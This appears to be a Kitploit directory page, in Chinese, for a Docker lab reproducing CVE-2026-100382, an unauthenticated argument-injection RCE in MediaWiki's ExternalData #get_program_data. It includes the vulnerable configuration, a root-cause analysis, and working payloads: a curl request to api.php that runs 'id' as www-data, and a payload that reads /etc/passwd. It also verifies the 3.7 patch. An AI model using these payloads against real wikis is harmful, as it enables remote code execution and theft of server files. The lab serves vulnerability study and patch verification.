Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mediawiki-CVE-2026-100382 — Docker 实验环境复现 CVE-2026-100382:MediaWiki ExternalData 的 #get_program_data 中未经身份验证的参数注入 RCE,包含 PoC 载荷和补丁验证。 | Kitploit
工具/GitHubGitHub/nth347/mediawiki-cve-2026-100382
漏洞分析漏洞利用Web应用程序漏洞利用Web安全命令与控制学习与教育实验室与实践
GitHubnth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

Docker 实验环境复现 CVE-2026-100382:MediaWiki ExternalData 的 #get_program_data 中未经身份验证的参数注入 RCE,包含 PoC 载荷和补丁验证。

查看仓库
36天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

实验复现 - CVE-2026-100382(ExternalData OS 命令注入)

本实验内容

  • MediaWiki 1.43(官方镜像,SQLite)+ ExternalData 3.6.1(最后一个存在漏洞的版本), 从 ../mediawiki-extensions-ExternalData 以只读方式挂载。
  • 仅限回环:发布在 127.0.0.1:${HOST_PORT}(默认 8080)。
  • 已启用匿名编辑 + action=parse(MediaWiki 默认设置)- PoC 无需登录。

运行

cd lab
./up.sh        # 安装、加载 ExternalData 3.6.1、植入存在漏洞的源、打印 URL
./down.sh      # docker compose down -v + 清除 .env

(真实的)存在漏洞的管理员配置

entrypoint.sh 植入了一个 exec 源,它反映了 #get_program_data 的文档化用途 - 向编辑者暴露服务器端程序,将用户参数传入命令行 - 没有限制性的 param filters 条目 (该扩展并不要求此条目):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // 用户参数被插值
    'params'  => [ 'options' ],
    'format'  => 'text',
];

预期用途:{{#get_program_data: program=chart | options=--dpi=120 }} -> 运行 python3 --dpi=120 /srv/chart.py。

根本原因回顾(为何会触发)

  • EDConnectorBase::supplementParams() 通过 strtr 将用户参数插值到 wiki 范围的 command 模板中(EDConnectorBase.php:461-470,560)。
  • EDConnectorExe::__construct() 随后执行 explode(' ', $command) (EDConnectorExe.php:92)- 插值后的用户值按空格被拆分为 独立的 argv 令牌,且没有重新加引号。
  • run() 执行 Shell::command($command)->execute()(EDConnectorExe.php:139)。 Shell::command() 会对每个令牌进行 shell 转义,因此 shell 元字符(;、|) 是无效的 - 这是参数注入(CWE-88 / CWE-78),而非朴素的 shell 注入。控制目标程序的额外 argv(此处为 python3 -c) 即可实现完整的代码执行。
  • 注意:调用者无法直接提供 command - 内置通配符 * 源会强制 command => null,从而剥离用户提供的 command。因此 攻击向量是参数插值到管理员定义的命令中。

控制台输出(逐字记录)

范围:shell 元字符被转义(参数注入,而非 shell 注入)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

空白将一个参数拆分为多个 argv 令牌

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - 以 Web 用户身份执行任意命令(未认证)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

任意文件读取

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

针对补丁的负面测试(闭环验证)

将挂载的扩展切换为标签 3.7 并重新运行相同的 payload:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

3.7 默认禁用 EDConnectorExe($wgExternalDataDisabledClasses,Bug T434961)。 注意事项:接收端代码未改变 - 如果某个 wiki 从该列表中移除 EDConnectorExe 以继续使用 #get_program_data,则仍然完全可被利用。

下载工具